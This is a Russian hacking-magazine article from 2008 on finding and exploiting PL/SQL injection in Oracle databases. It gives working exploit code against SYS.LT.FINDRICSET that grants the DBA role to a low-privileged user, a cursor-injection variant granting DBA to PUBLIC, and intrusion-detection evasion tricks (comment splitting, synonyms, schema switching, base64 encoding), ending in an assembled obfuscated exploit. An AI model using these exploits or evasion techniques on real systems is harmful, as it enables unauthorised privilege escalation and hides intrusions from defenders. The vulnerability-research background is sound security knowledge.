Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #110, ФЕВРАЛЬ 2008 г.

Ищем и прячем баги в Oracle

Sh2kerr

Хакер, номер #110, стр. 110-074-1

Хакерская практика в поиске уязвимостей

Если ты читал предыдущую статью то, наверное, уже в курсе, что Oracle содержит множество уязвимостей, и представляет собой заветную цель для злоумышленника. Но бывают случаи, когда проникнуть в СУБД не так просто. Допустим, мы находим СУБД последней версии со всеми последними обновлениями. Или, например, простой пример: в сети установлена навороченная IDS, которая содержит базу всех эксплойтов, да и еще имеет эвристический анализ. Как быть тогда? Читаем и просвещаемся.

В данной статье я попытаюсь показать, как искать новые уязвимости, писать с нуля или переделывать эксплойты к опубликованным багам, а также скрывать наши действия от IDS и прочих защитных механизмов.

Поиск

Искать мы будем дырки класса PL/SQL Injection во встроенных процедурах Oracle, так как это самый распространенный тип ошибок в Oracle и, в общем, наиболее показательный.

Поиск уязвимостей, на самом деле, задача слабо формализованная, и универсальных решений тут найти сложно. Другое дело, если мы выберем отдельную область, например PL/SQL инъекции во встроенных процедурах СУБД Oracle, то тут можно уже более конкретно описать алгоритм поиска и эксплуатации багов.

Итак, у нас есть множество пакетов, в них множество процедур. Для поиска уязвимостей существует, грубо говоря, 2 известных подхода:

  1. Black box – когда мы не знаем исходного кода и алгоритма работы и пытаемся случайными/специальными запросами к системе получить в результате какой-либо нестандартный ответ.
  2. White box – когда мы знаем исходный код и/или алгоритм работы (или его часть) и уже на основе этого ищем уязвимости проверяя логику работы программы.

Рассмотрим более подробно оба подхода, так как для успешного поиска уязвимостей придется использовать их комбинацию.

Поиск Black box

Данный вид поиска в общем случае предполагает генерацию вызовов PL/SQL процедур со всевозможными входными параметрами. Для того чтобы перебрать все возможные значения процедур в каждом пакете вручную, не хватит никакого времени. По этому для облегчения работы были придуманы автоматизированные средства поиска уязвимостей так называемые фаззеры (от англ. слова fuzz). Fuzzer представляет из себя программу, которая в автоматическом режиме будет вызывать заданные ей процедуры и подставлять в них случайные значения параметров. Последние могут повлиять на выходные значения процедур. Таким образом, теоретически мы сможем найти новые уязвимости класса PL/SQL Injection и всяческие разновидности Buffer Owerflow. На практике же все обстоит гораздо сложнее, так как не всегда возможно автоматически ввести все параметры процедуры так, чтобы они соответствовали бизнес-логике. Тем не менее, на начальном этапе достаточно и такой проверки. Нам повезло, что такую утилиту самому писать не придется так как она существует и называется она как ни странно «Oracle PL/SQL Fuzzing Tool» :). Утилита написана на языке python, ее исходник ты сможешь найти на DVD-приложении к журналу. Для того, чтобы она заработала также необходимо установить интерпретатор python и библиотеку cx_Oracle (http://www.python.net/crew/atuining/cx_Oracle). После успешной установки можешь смело браться за дело и искать уязвимости, правда придется сначала немного поправить исходник скрипта. В исходном коде утилиты данные для подключения к СУБД надо поменять на свои, находится это все начиная со строки 84.

85: def connect():

86: global connection

87:

88: link = "test/test@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.1.10)(PORT=1521)))"

89: link += "(CONNECT_DATA=(SERVICE_NAME=orcl)))"

Вместо test/test необходимо вписать свои имя пользователя и пароль, в графе HOST надо ввести адрес хоста, где установлена СУБД. Теперь можно спокойно заниматься поиском уязвимостей методом fuzzing. А пока баги ищутся сами, можно изучить еще несколько немаловажных моментов.

Поиск White box

В случае если первый способ нам не помог (или помог и мы нашли уязвимый пакет, но логика его работы не ясна), то для дальнейшей работы уже придется пользоваться методом white box. Основная проблема заключается в том, что для поиска данным методом нам необходимо сперва получить исходный код или хотя бы алгоритм действия программы, что по идее является отдельной и нетривиальной задачей. Это обуславливается тем, что исходный код большинства Oracle-процедур запакован так называемым “враппером” (от англ слова wrap). До некоторого времени считалось, что сорцы процедур получить практически невозможно, пока известный специалист по безопасности Oracle Pete Finnigan не опубликовал документ, в котором подробно была описана техника получения исходного кода процедур для СУБД Oracle 9i. В его докладе также были рассмотрены изменения, коснувшиеся Oracle 10g так как оказалось, что в этом релизе улучшена защита от декодирования. Тем не менее, нам по большому счету не так важно какая защита стоит в Oracle 10g: если необходимый нам пакет доступен в версии 9i, то его можно (и нужно!) декодировать. В рамках данной статьи подробно объяснять всю технику нет смысла, а тех, кто заинтересовался, отправляю напрямую к первоисточнику. Для доказательства своей теории, с которой можно подробнее ознакомиться в докладе, Pete Finnigan написал утилиту, которая позволяет декодировать простейшие PL/SQL пакеты. Эта утилита написана на PL/SQL и называется unvrap_r.

Сейчас мы проверим ее работоспособность на примерах. Для начала рассмотрим простейший пример, описанный в докладе. Создадим процедуру, минимального размера в которой будет только основной блок и ничего более.

SQL> create or replace procedure bb is

2 begin

3 null;

4 end;

5 /

Procedure created.

Далее сохраним нашу процедуру и запакуем ее стандартной утилитой WRAP.

SQL> save bb.sql replace

Wrote file bb.sql

SQL> Disconnected from Oracle9i Enterprise Edition Release 9.2.0.1.0 - Productio

n

With the Partitioning, OLAP and Oracle Data Mining options

JServer Release 9.2.0.1.0 - Production

C:\Documents and Settings\Administrator>wrap iname=bb.sql oname=bb.pls

PL/SQL Wrapper: Release 9.2.0.1.0- Production on Tue Nov 20 15:48:15 2007

Copyright (c) Oracle Corporation 1993, 2001. All Rights Reserved.

Processing bb.sql to bb.pls

Код нашей процедуры, сохраненный в файле bb.pls, мы можем наблюдать на скриншоте. Теперь, подключимся к базе данных и попробуем распаковать код нашего пакета.

C:\Documents and Settings\Administrator>sqlplus sys

SQL> @bb.pls

Procedure created.

SQL> exec bb

PL/SQL procedure successfully completed.

SQL> set serveroutput on size 1000000

SQL> exec unwrap_r('bb');

Start up

CREATE OR REPLACE

PROCEDURE BB

IS

BEGIN

NULL;

END;

/

Как мы можем наблюдать, утилита unwrap_r полностью декодировала наш тестовый пакет. Это хорошо, но к сожалению так как эта утилита всего лишь POC, то для распаковки реальных пакетов над ней нужно еще работать. Кто знает, может быть ты разберешься и допишешь ее, не все же пользоваться чужими разработками? :)

Эксплуатация

Итак, теперь мы получили начальные представления о том, каким образом можно искать уязвимости в СУБД Oracle. Теперь перейдем непосредственно к эксплуатации уязвимостей. Предположим, что мы тем или иным образом обнаружили баг в одной из функций, но для нее нет публичных эксплойтов. Сейчас мы научимся писать собственные эксплойты для найденных уязвимостей на примере одной из последних.

17 октября 2007 года Oracle выпустила ежеквартальное обновление а также вышла публичная информация о уязвимостях. Одна из дырок класса PL/Sql Injection была найдена в функции LT.FINDRICSET. Давай попробуем разобраться что же происходит в данной функции и что мы можем получить.

Для начала запустим уязвимую функцию с известными параметрами.

SQL> exec SYS.LT.FINDRICSET('AAAAAAAAAAAAA','BBBBBBBBBBB');

PL/SQL procedure successfully completed.

Теперь сделаем выборку из таблицы v$sql (эта таблица хранит лог практически всех запросов к базе данных) тех запросов, в которых содержится строка ‘AAAAAA’. То есть, мы пытаемся проследить в каких вызовах участвуют наши параметры, чтобы понять на что мы можем повлиять путем их изменения. По идее, можно воспользоваться графической утилитой, выполняющей трассировку запросов в Oracle, но лично мне удобнее так :)

SQL> Select sql_text from v$sql where sql_text like '%AAAAAAAA%';

SQL_TEXT

--------------------------------------------------------------------------------

BEGIN SYS.LT.FINDRICSET('AAAAAAAAAAAAA','BBBBBBBBBBB'); END;

insert into SYSTEM.BBBBBBBBBBB values ('SYSTEM','AAAAAAAAAAAAA')

BEGIN LT.FINDRICSET('AAAAAAAAAAAAA','BBBBBBBBBBB'); END;

insert into wmsys.wm$ric_set values ('SYSTEM','AAAAAAAAAAAAA')

select count(*) from wmsys.wm$ric_set where

table_owner = 'SYSTEM' and table_name = 'AAAAAAAAAAAAA'

Select sql_text from vsql where sql_text like '%AAAAAAAA%'

delete from wmsys.wm$ric_set_in where table_owner = 'SYS TEM' and

table_name = 'AAAAAAAAAAAAA'

SQL_TEXT

--------------------------------------------------------------------------------

insert into wmsys.wm$ric_set_in values ( 'SYSTEM','AAAAAAAAAAAAA' )

Select sql_text from v$sql where sql_text like '%AAAAAAAA%'

9 rows selected.

Как мы видим, наши параметры используются в INSERT-запросе, и по идее мы можем изменить их. После этого изврата, запрос превратился в такой, какой нам нужно. Теперь разберемся с тем, как происходит вызов функции из пакета SYS при запуске ее от имени непривилегированного пользователя. Это самый ключевой момент! Поскольку данная процедура выполняется от имени ее владельца, которым является пользователь SYS, то внедрив свой код внутрь процедуры SYS.LT.FINDRICSET (а конкретно в вызов insert into) мы сможем выполнять произвольные действия от имени системного пользователя. Ситуация аналогична UNIX системам, в которых найдя уязвимость в SUID программе и реализовав ее мы можем повысить свои привилегии в системе.

Итак, у нас есть вызов:

insert into SYSTEM.BBBBBBB values ('SYSTEM','AAAAAAAAAAAAA')

Чтобы эксплуатировать уязвимость нам необходимо подогнать вызов к следующему виду:

insert into SYSTEM.BBBBBBBB values ('SYSTEM','AA’||evilprocedure()||’’)

Таким образом, перед тем как выполнить INSERT в контексте пользователя SYS, Oracle определит значение возвращаемое процедурой evilprocedure(), тем самым выполнив код злоумышленника от имени пользователя SYS. Теперь определимся с тем, что будет содержать в себе наш шеллкод, то есть функция evilprocedure(). Я предлагаю использовать стандартный шеллкод, который присутствует в большинстве эксплойтов под Oracle. Он представляет собой процедуру, которая выполняется от имени запустившего ее пользователя (заметь - не от имени автора), так как запускаться она будет от пользователя SYS. Процедура назначает роль DBA пользователю SCOTT. Вот ее код:

CREATE OR REPLACE FUNCTION EVILPROC return varchar2

authid current_user as

pragma autonomous_transaction;

BEGIN

EXECUTE IMMEDIATE 'grant dba to scott';

COMMIT;

RETURN '';

END;

/

Теперь мы можем запустить уязвимую функцию с новыми параметрами и наслаждаться полученными правами DBA.

SQL> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_

------------------------------ ------------------------------ --- --- ---

SCOTT CONNECT NO YES NO

SCOTT RESOURCE NO YES NO

SQL> exec SYS.LT.FINDRICSET('AA.AA''||scott.evilprocedure()||''','BBBBB')

PL/SQL procedure successfully completed.

SQL> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_

------------------------------ ------------------------------ --- --- ---

SCOTT CONNECT NO YES NO

SCOTT DBA NO YES NO

SCOTT RESOURCE NO YES NO

Вот мы и написали наш первый эксплойт под СУБД Oracle. Как оказалось это не так уж и сложно, правда? :) Но нам еще есть куда стремиться - для эксплуатации уязвимости необходимо иметь права CREATE ANY PROCEDURE, что случается далеко не всегда.

Но даже если у нас нет этих прав, мы все равно можем эксплуатировать уязвимость, благодаря технике, которую сравнительно недавно придумал и опубликовал специалист по безопасности СУБД Oracle Дэвид Личфилд. Статья с подробным описанием данной техники доступна по адресу www.databasesecurity.com/dbsec/cursor-injection.pdf. Он изобрел новый способ эксплуатации уязвимостей Cursor Injection, который не требует от пользователя прав CREATE ANY PROCEDURE для выполнения атаки PL/SQL Injection. Основная идея заключается в том, что в СУБД Oracle есть возможность создавать курсоры. Курсор - это грубо говоря указатель на определенный тип функций. Если не вдаваться в подробности, то для эксплуатации уязвимости можно написать курсор, который потом будет вызываться внутри уязвимой функции. Работа с курсорами может осуществляться при помощи пакета DBMS_SQL. Вот как будет выглядеть шеллкод, дающий привилегию DBA, написанный с помощью курсора:

DECLARE

MY_CURSOR NUMBER;

RESULT NUMBER;

BEGIN

MY_CURSOR := DBMS_SQL.OPEN_CURSOR;

DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; begin execute immediate ''grant dba to public'';commit; end;',0);

RESULT := DBMS_SQL.EXECUTE(MY_CURSOR);

DBMS_SQL.CLOSE_CURSOR(MY_CURSOR);

END;

/

Теперь чтобы эксплуатировать уязвимость, вместо вызова обычной процедуры будет вызываться наш курсор с помощью функции DBMS_SQL.EXECUTE(), которой в качестве параметра передается номер курсора. Вот так:

exec SYS.LT.FINDRICSET('AA.AAAA''||dbms_sql.execute($cursor)||''','BBBB');

Итак, теперь у нас готов полностью рабочий эксплойт под последнюю уязвимость. Но и это еще не все - если мы хотим, чтобы наше творение работало как можно менее заметно, необходимо позаботиться о методах скрытия его от систем обнаружения вторжений и прочих защитных механизмов.

IDS и методы обхода

Для обхода IDS можно воспользоваться стандартными методами, например фрагментацией пакетов или включить на клиенте встроенную в Oracle поддержку шифрования трафика (на сервере она включена по умолчанию). Но можно воспользоваться и более узкоспециализированными техниками что во первых гораздо интереснее, а во вторых система обнаружения вторжений встроенная в базу данных все равно увидит наши запросы в таком виде как они есть, как бы ми их не шифровали на сетевом уровне. Так что рассмотрим несколько простейших вариантов скрытия нашего эксплойта:

1. В большинстве правил того же SNORT'а идет проверка вызова уязвимых пакетов и функций таких как, например ctxsys.driload, путем банального поиска подстроки. Это означает, что если мы вызовем нашу функцию другим способом (так чтобы искомая им подстрока не встречалась), то IDS нас не обнаружит. Вот несколько способов вызова функций в Oracle:

exec ctxsys."driload.validate_stmt('grant dba to scott') "

exec "ctxsys"."driload.validate_stmt('grant dba to scott') "

exec "ctxsys".driload.validate_stmt('grant dba to scott')

exec ctxsys./*test*/driload.validate_stmt('grant dba to scott')

exec /*test*/ctxsys/*test*/./*test*/driload.validate_stmt('grant dba to scott') /*test*/

exec (ctxsys.driload.validate_stmt('grant dba to scott') )

exec ctxsys . driload.validate_stmt('grant dba to scott')

2. Следующий способ - это создание синонимов для вызова функций с помощью команды CREATE SYNONYM. Предположим у нас есть правило, срабатывающее на SYS.LT.FINDRICSET, тогда мы сможем сделать синоним на SYS.LT и вызвать уязвимую процедуру по ее новому имени незаметно для IDS. Пример:

create or replace synonym evade for ltюашт

exec evade.findricset('aaa.aaa','bbb');

3. Еще один способ - использование функции ALTER SESSION SET CURRENT_SCHEMA для смены текущей схемы. Пример:

alter session set current_schema = ctxsys;

select driload.validate_stmt('grant dba to scott') from dual;

4. Ну и напоследок, можно воспользоваться встроенными функциями кодирования и шифрования des,base64,utf,char тем самым, закодировав строки, которые может искать IDS, такие как "GRANT DBA TO SCOTT" и прочие.

utl_encode.text_decode('R1JBTlQgREJBIFRPIFNDT1RU‘,'WE8ISO8859P1',UTL_ENCODE.BASE64)

Теперь мы научились скрывать эксплойт от систем обнаружения вторжений. Вот сейчас он действительно готов и впечатляет. Вот он, любуйтесь!

DECLARE

c2gya2Vy NUMBER;

BEGIN

c2gya2Vy := DBMS_SQL./*EVASION*/OPEN_CURSOR;

DBMS_SQL.PARSE(c2gya2Vy,utl_encode.text_decode('ZGVjbGFyZSBwcmFnbWEgYXV0b25vbW91c190cmFu

c2FjdGlvbjsgYmVnaW4gZXhlY3V0ZSBpbW1lZGlhdGUgJ0dSQU5UIERCQSBUTyBTQ09UVCc7Y29tbWl0O2VuZDs=','WE8ISO8859P1', UTL_ENCODE.BASE64),0);

SYS.LT./*EVASION*/FINDRICSET('TGV2ZWwgMSBjb21sZXRlIDop.U2VlLnUubGF0ZXIp''||dbms_sql./*EVASION*/execute('||c2gya2Vy||')||''','DEADBEEF');

END;

 

 

 

Содержание